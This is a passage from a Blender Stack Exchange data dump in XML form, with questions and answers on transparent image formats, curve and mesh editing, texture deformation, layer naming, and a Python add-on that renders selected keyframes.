Pixels:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PNG 2Gx2G&lt;/li&gt;&#xA;&lt;li&gt;TIFF 4Gx4G&lt;/li&gt;&#xA;&lt;li&gt;TGA 32Kx32K&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you need more than one quintillion pixels (a 1 with 18 zeros behind it), then the TIFF file might be your best bet, otherwise, go with a PNG file. I also find it easier to work with a PNG file (more programs support it). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information visit &lt;a href=&quot;http://www.aivosto.com/vbtips/imageformats.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;this chart&lt;/strong&gt;&lt;/a&gt;, &lt;a href=&quot;http://simplymaya.com/forum/showthread.php?t=11329&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;this discussion&lt;/strong&gt;&lt;/a&gt; and also &lt;a href=&quot;http://www.digitaltutors.com/forum/showthread.php?20996-TGA-v-TIFF-v-PNG&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;this discussion.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another viable high-quality file type would be the openEXR type, a good solution for production.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Also make sure you have transparency enabled in your render settings as well, as no file type will export from Blender with a transparent value unless it is enabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2K5jE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-14T16:18:11.567" LastActivityDate="2015-01-14T16:18:11.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23188" PostTypeId="1" AcceptedAnswerId="23200" CreationDate="2015-01-14T16:15:18.117" Score="1" ViewCount="60" Body="&lt;p&gt;i made a curve as you can see in the image, but i need to take a part of the curve (for example, ten vertices) and make all the curve look like that part, is that possible? i need to do this because i need to animate it in another layer, as a continuous curve with loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pwWbd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="9718" LastEditDate="2015-01-14T16:34:28.527" LastActivityDate="2015-01-14T19:16:21.730" Title="How can i change a curve to have the same proportions on all its vertices?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="23189" PostTypeId="1" AcceptedAnswerId="23192" CreationDate="2015-01-14T17:04:28.350" Score="2" ViewCount="319" Body="&lt;p&gt;I'm in a making of a video game and I have an alpha texture on a plane. The plane is subdivided once (without smoothing). However, when I deform the plane symmetrically, the texture doesn't deform symmetrically even though the plane is symmetrically deformed. By any means of logic this appears very strange to me since the UVs are symmetrical with the image as well - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Flat - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bpgo3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deforemed - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6eC4i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as I move the bottom left and top right vertices on the Z axis, the texture remains still as if the plane is not deformed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h6q2G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What seems to be casing this and how can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2015-01-14T17:14:01.457" LastActivityDate="2015-01-14T17:56:21.973" Title="Texture behaves weird on a plane" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23190" PostTypeId="2" ParentId="23184" CreationDate="2015-01-14T17:18:53.817" Score="5" Body="&lt;p&gt;PNG TGA TIFF openEXR and JPEG 2000 are the image formats that blender can render to that support transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here they all are in order from best to worst.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Portable_Network_Graphics&quot;&gt;PNG&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Universal support&lt;/li&gt;&#xA;&lt;li&gt;4 channels&lt;/li&gt;&#xA;&lt;li&gt;Only sRGB color space&lt;/li&gt;&#xA;&lt;li&gt;8 or 16 bits per channel&lt;/li&gt;&#xA;&lt;li&gt;small file size, with little compression to image quality.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/OpenEXR&quot;&gt;openEXR&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Good support among 3D, image editors, compositors, and editor programs.&lt;/li&gt;&#xA;&lt;li&gt;Multi channeled, can store an unlimited number of channels.&lt;/li&gt;&#xA;&lt;li&gt;Any color space&lt;/li&gt;&#xA;&lt;li&gt;up to 32 bits per channel&lt;/li&gt;&#xA;&lt;li&gt;Large file size, variable amount of compression.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Tagged_Image_File_Format&quot;&gt;TIFF&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Very good support among 3D, image editors, compositors, and editor programs.&lt;/li&gt;&#xA;&lt;li&gt;Multi channeled, can store an unlimited number of channels.&lt;/li&gt;&#xA;&lt;li&gt;Many color spaces Grayscale, RGB, CMYK, CIE L&lt;em&gt;a&lt;/em&gt;b*, YCbCr&lt;/li&gt;&#xA;&lt;li&gt;up to 16 bits per channel&lt;/li&gt;&#xA;&lt;li&gt;Variable file size, variable amount of compression.&lt;/li&gt;&#xA;&lt;li&gt;Older, openEXR has become the mainstream replacement of TIFF.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Truevision_TGA&quot;&gt;TGA&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Very good support (because it is old)&lt;/li&gt;&#xA;&lt;li&gt;4 channels&lt;/li&gt;&#xA;&lt;li&gt;sRGB&lt;/li&gt;&#xA;&lt;li&gt;only 8 bits per channel&lt;/li&gt;&#xA;&lt;li&gt;Large file size, variable amount of compression.&lt;/li&gt;&#xA;&lt;li&gt;Older, openEXR has become the mainstream replacement of TGA.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/JPEG_2000&quot;&gt;JPEG 2000&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Very good support&lt;/li&gt;&#xA;&lt;li&gt;4 channels&lt;/li&gt;&#xA;&lt;li&gt;sRGB&lt;/li&gt;&#xA;&lt;li&gt;up to 32 bits per channel&lt;/li&gt;&#xA;&lt;li&gt;very small file size, however with compression to image quality.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-14T17:18:53.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23192" PostTypeId="2" ParentId="23189" CreationDate="2015-01-14T17:56:21.973" Score="4" Body="&lt;p&gt;Every Quad is in reality 2 triangles and the behavior you observed is caused by this. Triangulate your mesh with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt; and rotate the created edges like you want with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; &gt; Rotate Edge CW / CCW.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-14T17:56:21.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23193" PostTypeId="1" CreationDate="2015-01-14T18:06:56.500" Score="2" ViewCount="79" Body="&lt;p&gt;so I recently found out how to rip game models from a game, thing is for the texures to come with them I had to texture them in 3ds max. I use blender to animate so I was wondering if there was a way, if any to get the model from 3ds max &lt;strong&gt;with the textures on it.&lt;/strong&gt; I tried doing it a few different ways but the texures were all messed up when i put them on the model. any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;before you mark as a duplicate I know how to get the model in blender, I do not know how to make the textures correct on the model once it's in blender&lt;/p&gt;&#xA;" OwnerUserId="10982" LastEditorUserId="10982" LastEditDate="2015-01-16T00:45:49.453" LastActivityDate="2015-01-16T00:45:49.453" Title="how to get texures with models from 3ds max into blender" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-01-14T19:30:54.370" ContentLicense="CC BY-SA 3.0" />
  <row Id="23194" PostTypeId="1" AcceptedAnswerId="23195" CreationDate="2015-01-14T18:13:59.297" Score="6" ViewCount="19044" Body="&lt;p&gt;I want to edit a game model and I can't join the meshes with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; because the model will not work in the game anymore. If I use &lt;kbd&gt;P&lt;/kbd&gt; in &lt;em&gt;Edit Mode&lt;/em&gt;, the meshes will split into even more meshes than before, with different names, and it will not work anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model is separated into multiple meshes.&lt;br&gt;&#xA;I can edit the vertices of each mesh, but I can't edit multiple meshes at once, so that they stay &quot;synchronized&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to do this without &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; or a way to &quot;unjoin&quot; keeping the same meshes names before joining?&lt;/p&gt;&#xA;" OwnerUserId="10983" LastEditorUserId="2217" LastEditDate="2015-01-14T18:39:58.723" LastActivityDate="2019-05-05T10:57:06.993" Title="Edit multiple meshes at once?" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23195" PostTypeId="2" ParentId="23194" CreationDate="2015-01-14T18:32:56.663" Score="8" Body="&lt;p&gt;There is an addon called &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?339369-MultiEdit-ALPHA-2%28Major-Update%29-Multiple-Objects-Editing&quot;&gt;MultiEdit&lt;/a&gt;, that will enable you to edit multiple objects at once.&lt;br&gt;&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?339369-MultiEdit-ALPHA-2%28Major-Update%29-Multiple-Objects-Editing&quot;&gt;Here&lt;/a&gt; is the post on blender artists where the download can be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you have &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Add-Ons&quot;&gt;installed and activated&lt;/a&gt; the addon, you just select the objects that you want to edit together, and click on the &lt;em&gt;MultiEdit Enter&lt;/em&gt; button in the tool shelf.&lt;br&gt;&#xA;Then when you are done, toggle back out of edit mode and click on the &lt;em&gt;MultiEdit Exit&lt;/em&gt; button.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-14T18:32:56.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23196" PostTypeId="2" ParentId="1718" CreationDate="2015-01-14T18:39:31.520" Score="5" Body="&lt;h3&gt;Loom Addon&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://github.com/p2or/blender-loom&quot; rel=&quot;nofollow noreferrer&quot;&gt;Loom&lt;/a&gt; to render all selected keys in the &lt;em&gt;Dope Sheet&lt;/em&gt; or &lt;em&gt;Graph Editor&lt;/em&gt; either directly within Blender's UI (as usual) or in a new terminal instance (background process) in case you want to continue working while rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed and enabled, you can call the dialog via &lt;kbd&gt;spacebar&lt;/kbd&gt; by typing &lt;code&gt;Render Selected Keyfr...&lt;/code&gt;, which automatically adds the frames of all selected keys to the render list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jhZtG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jhZtG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;em&gt;Click to enlarge&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As part of the &lt;em&gt;Encoding Dialog&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F9&lt;/kbd&gt;), the addon also provides an utility function to fill the gaps of the image sequence with copies of the &lt;em&gt;nearest frame&lt;/em&gt; to get the full lenght animation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4Wuqn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Wuqn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Minimal Example&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Following script is a minimal example for demonstration purposes. The operator allows to render the frames of &lt;em&gt;all selected keys&lt;/em&gt; in the &lt;em&gt;Dope Sheet&lt;/em&gt; and &lt;em&gt;Graph Editor&lt;/em&gt;, all &lt;em&gt;keys that are associated with objects&lt;/em&gt; currently selected in the viewport or just &lt;em&gt;all keys&lt;/em&gt; of the blend file. Enable &lt;em&gt;Frame Duplication&lt;/em&gt; to fill in the missing frames of the sequence with copies of existing frames, after the rendering is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3eWWW.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3eWWW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ##### BEGIN GPL LICENSE BLOCK #####&#xA;#&#xA;#  This program is free software; you can redistribute it and/or&#xA;#  modify it under the terms of the GNU General Public License&#xA;#  as published by the Free Software Foundation; either version 2&#xA;#  of the License, or (at your option) any later version.&#xA;#&#xA;#  This program is distributed in the hope that it will be useful,&#xA;#  but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;#  GNU General Public License for more details.&#xA;#&#xA;#  You should have received a copy of the GNU General Public License&#xA;#  along with this program; if not, write to the Free Software Foundation,&#xA;#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.&#xA;#&#xA;# ##### END GPL LICENSE BLOCK #####&#xA;&#xA;import bpy&#xA;from math import ceil&#xA;from os import path&#xA;&#xA;bl_info = {&#xA;    &quot;name&quot;: &quot;Render Animatic&quot;,&#xA;    &quot;author&quot;: &quot;p2or&quot;,&#xA;    &quot;version&quot;: (0, 1),&#xA;    &quot;blender&quot;: (2, 77, 0),&#xA;    &quot;location&quot;: &quot;Spacebar &amp;gt; Render Animatic&quot;,&#xA;    &quot;category&quot;: &quot;Render&quot;&#xA;}&#xA;&#xA;class RENDER_OT_render_animatic(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Render Animatic&quot;&quot;&quot;&#xA;    bl_idname = &quot;render.render_animatic&quot;&#xA;    bl_label = &quot;Render Animatic&quot;&#xA;    bl_options = {'REGISTER'}&#xA;&#xA;    render_action = bpy.props.EnumProperty(&#xA;        name=&quot;Render Action&quot;,&#xA;        description=&quot;Render Action&quot;,&#xA;        items=(&#xA;            (&quot;SEL&quot;, &quot;Selected Keyframes&quot;, &#xA;             &quot;Renders all selected Keys in the Dope Sheet or Graph Editor&quot;),&#xA;            (&quot;OBJ&quot;, &quot;Keyframes of Selected Objects&quot;, &#xA;             &quot;Renders all keyframes assigned to any selected object&quot;),&#xA;            (&quot;ALL&quot;, &quot;All Keyframes&quot;, &#xA;              &quot;Renders all Keyframes of the Scene&quot;))&#xA;        )&#xA;&#xA;    image_duplication = bpy.props.BoolProperty(&#xA;        name=&quot;Frame Duplication&quot;,&#xA;        default=False,&#xA;        description=&quot;Fills the sequence with copies of &quot;\&#xA;                    &quot;existing (previously rendered) frames&quot;&#xA;        )&#xA;&#xA;    in_out_points = bpy.props.BoolProperty(&#xA;        name=&quot;In and Out Points&quot;,&#xA;        default=False,&#xA;        description=&quot;Add Start and End Frame of the Timeline &quot;\&#xA;                    &quot;to the Render List&quot;&#xA;        )&#xA;&#xA;    open_gl = bpy.props.BoolProperty(&#xA;        name=&quot;OpenGL Rendering&quot;,&#xA;        default=False,&#xA;        description=&quot;Force OpenGL Rendering&quot;&#xA;        )&#xA;&#xA;&#xA;    def keys_objs(self, obj_list):&#xA;        &quot;&quot;&quot; &#xA;        Returns the keyframes of all&#xA;        objects in the given list&#xA;        &quot;&quot;&quot;&#xA;        ctrl_points = set()&#xA;        for obj in obj_list:&#xA;            anim = obj.animation_data&#xA;            if anim is not None and anim.action is not None:&#xA;                for channel in anim.action.fcurves:&#xA;                    for key in channel.keyframe_points:&#xA;                        ctrl_points.add((ceil(key.co.x)))&#xA;        return ctrl_points&#xA;&#xA;    def keys_all(self):&#xA;        &quot;&quot;&quot; &#xA;        Returns the keyframes of all&#xA;        available control points &#xA;        &quot;&quot;&quot;&#xA;        ctrl_points = set()&#xA;        for action in bpy.data.actions:&#xA;            for channel in action.fcurves:&#xA;                for key in channel.keyframe_points:&#xA;                    ctrl_points.add(ceil(key.co.x))&#xA;        return ctrl_points&#xA;&#xA;    def keys_selected(self):&#xA;        &quot;&quot;&quot; &#xA;        Returns the frames of all&#xA;        selected control points &#xA;        &quot;&quot;&quot;&#xA;        ctrl_points = set()&#xA;        for action in bpy.data.actions:&#xA;            for channel in action.fcurves: &#xA;                for key in channel.keyframe_points:       &#xA;                    if key.select_control_point:&#xA;                        ctrl_points.add(ceil(key.co.x))&#xA;        return ctrl_points&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return bool(bpy.data.actions)&#xA;&#xA;    def invoke(self, context, event):&#xA;        wm = context.window_manager&#xA;        return wm.invoke_props_dialog(self, width=600)&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        row = layout.row()&#xA;        row.prop(self, &quot;render_action&quot;, expand=True)&#xA;        layout.separator()&#xA;        col = layout.column(align=True)&#xA;        row = col.row(align=True)&#xA;        row.prop(self, &quot;open_gl&quot;, icon='MESH_ICOSPHERE', toggle=True)&#xA;        row.prop(self, &quot;in_out_points&quot;, icon='OUTLINER_DATA_ARMATURE', toggle=True)&#xA;        col = col.column(align=True)&#xA;        col.prop(self, &quot;image_duplication&quot;, icon='GHOST', toggle=True)&#xA;        layout.separator()&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene&#xA;        output_path = scn.render.filepath&#xA;        keys = None&#xA;&#xA;        if not scn.render.use_overwrite:&#xA;            error = &quot;Nothing to do, 'use_overwrite' property disabled&quot;   &#xA;            self.report({'ERROR'}, error)&#xA;            return {'CANCELLED'}&#xA;&#xA;        # Get the keyframes&#xA;        if self.render_action == &quot;ALL&quot;:&#xA;            keys = self.keys_all()&#xA;        elif self.render_action == &quot;OBJ&quot;:&#xA;            keys = self.keys_objs(context.selected_objects)&#xA;        elif self.render_action == &quot;SEL&quot;:&#xA;            keys = self.keys_selected()&#xA;        if not keys:&#xA;            self.report({'ERROR'}, &quot;No keyframes, operation cancelled&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;        if self.in_out_points: &#xA;            keys.update((scn.frame_start,scn.frame_end))&#xA;&#xA;        frame_numbers = sorted(list(keys))&#xA;        rendered_frames = []&#xA;        frames_to_copy = {}&#xA;&#xA;        # Render business&#xA;        previous_frame = frame_numbers[0]&#xA;        for fn in range(frame_numbers[0], frame_numbers[-1]+1):&#xA;            path_frame = scn.render.frame_path(frame=fn)&#xA;            if fn in frame_numbers:&#xA;                scn.frame_set(fn)&#xA;                scn.render.filepath = path_frame&#xA;                if self.open_gl and scn.render.use_overwrite:&#xA;                    bpy.ops.render.opengl(write_still=True)&#xA;                elif not self.open_gl and scn.render.use_overwrite:&#xA;                    bpy.ops.render.render(write_still=True)&#xA;                previous_frame = path_frame&#xA;                scn.render.filepath = output_path&#xA;                rendered_frames.append(fn)&#xA;            elif self.image_duplication and fn not in frame_numbers:&#xA;                frames_to_copy.setdefault(previous_frame, []).append(path_frame)&#xA;&#xA;        scn.render.filepath = output_path&#xA;        if rendered_frames:&#xA;            folder = path.dirname(scn.render.frame_path(frame=0))&#xA;            info = &quot;Rendered: {}&quot;.format(&quot;, &quot;.join(map(str, rendered_frames)))&#xA;            self.report({'INFO'}, info)&#xA;&#xA;        # Image duplication&#xA;        if self.image_duplication:&#xA;            if len(frames_to_copy.keys()) &amp;lt; 1:&#xA;                self.report({'ERROR'}, &quot;Only 1 Frame, nothing to copy&quot;)&#xA;            else:&#xA;                for src, dest in frames_to_copy.items():&#xA;                    from shutil import copyfile&#xA;                    try:&#xA;                        for ff in dest:&#xA;                            copyfile(src, ff)&#xA;                    except OSError:&#xA;                        error = &quot;Error while trying to copy one of the frames&quot;&#xA;                        self.report({'ERROR'}, error)&#xA;                        return {'CANCELLED'}&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(RENDER_OT_render_animatic)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(RENDER_OT_render_animatic)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.render.render_animatic('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Unfortunately, the execution blocks the interface while rendering and there is &lt;em&gt;no easy way&lt;/em&gt; around that (at the moment). If you are interested on how to display the render progress within the &lt;em&gt;Image Editor&lt;/em&gt; as usual, have a look into the &lt;a href=&quot;https://github.com/p2or/blender-loom/blob/master/loom.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;source of loom&lt;/a&gt; as one of the options. &lt;em&gt;However, &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/workflows/command_line.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;command line&lt;/a&gt; rendering is probably the better approach anyway, it takes &lt;a href=&quot;https://stackoverflow.com/questions/89228/calling-an-external-command-in-python&quot;&gt;less effort to implement&lt;/a&gt; and this way the &lt;a href=&quot;https://blender.stackexchange.com/a/16261/3710&quot;&gt;memory consumption while rendering is lower&lt;/a&gt;.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/108588/3710&quot;&gt;How to list the frame numbers which contain keyframes?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/5010/3710&quot;&gt;How to render specific frames of animation?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/47083/3710&quot;&gt;How to render specific frame ranges of an animation in batch mode?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2018-07-21T13:11:44.223" LastActivityDate="2018-07-21T13:11:44.223" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23197" PostTypeId="1" AcceptedAnswerId="23198" CreationDate="2015-01-14T18:57:58.137" Score="9" ViewCount="2986" Body="&lt;p&gt;Can I name the layers with customized names, or something like that? If not, is it possible to add different colors to every single box?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="6204" LastEditDate="2015-01-14T19:41:09.313" LastActivityDate="2017-11-05T16:24:27.663" Title="How can I name a layer?" Tags="&lt;customization&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23198" PostTypeId="2" ParentId="23197" CreationDate="2015-01-14T19:13:02.323" Score="12" Body="&lt;p&gt;As far as I know, you cannot do such modifications in the layers table of the 3d window header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Solution:&lt;/em&gt;&lt;/strong&gt; Enable the &lt;strong&gt;&lt;em&gt;Layer Name&lt;/em&gt;&lt;/strong&gt; addon.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rMrw1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then change the layers names. You'll find the &lt;em&gt;Layer Managment&lt;/em&gt; tab in the &lt;em&gt;Tool Shelf&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt;).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mgKzn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="44258" LastEditDate="2017-11-05T16:24:27.663" LastActivityDate="2017-11-05T16:24:27.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23199" PostTypeId="1" AcceptedAnswerId="23211" CreationDate="2015-01-14T19:13:27.423" Score="4" ViewCount="594" Body="&lt;p&gt;I want the dog to gradually rotate 90deg over 10 seconds. I do know how to use the rotate node, but any rotation changes I make takes effect from the very start.  What I am looking to accomplish is a animated rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I made the mask in &lt;em&gt;Motion Tracking&lt;/em&gt;, then open that up in the compositor.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BKuxi.png&quot; alt=&quot;masking in the Motion Tracking window&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;screen shot of nodes for final orientation of video&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QoFS2.png&quot; alt=&quot;nodes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10979" LastEditorUserId="2217" LastEditDate="2015-01-14T21:17:39.213" LastActivityDate="2016-12-27T16:58:57.230" Title="How to animate rotation of a movie clip in the compositor" Tags="&lt;transforms&gt;&lt;compositor&gt;&lt;video&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23200" PostTypeId="2" ParentId="23188" CreationDate="2015-01-14T19:16:21.730" Score="2" Body="&lt;p&gt;First, select the good vertices in edit mode (at least three, one whole waveform):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZCqog.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;, and then &lt;kbd&gt;P&lt;/kbd&gt; to separate the new vertices into a new curve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WLCbT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add an &lt;em&gt;Array&lt;/em&gt; modifier to the new curve, making sure to tick the &lt;em&gt;Merge&lt;/em&gt; checkbox:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WMrlN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should now have something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PdrS4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the fewer waveforms you select initially the more accurate the result will be, although it will take vastly more repeats on the &lt;em&gt;Array&lt;/em&gt; modifier. It is however completely adjustable at that point, so it can be given the exact same number of waveforms as your other curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are happy with the result, change the handles to vector, press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; and convert to mesh, then the same and convert back to a curve, and change the handle type back to whatever it was. You should now have one continuous curve. The reason you need to do this is because you are not allowed to apply a constructive modifier on a curve.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-14T19:16:21.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
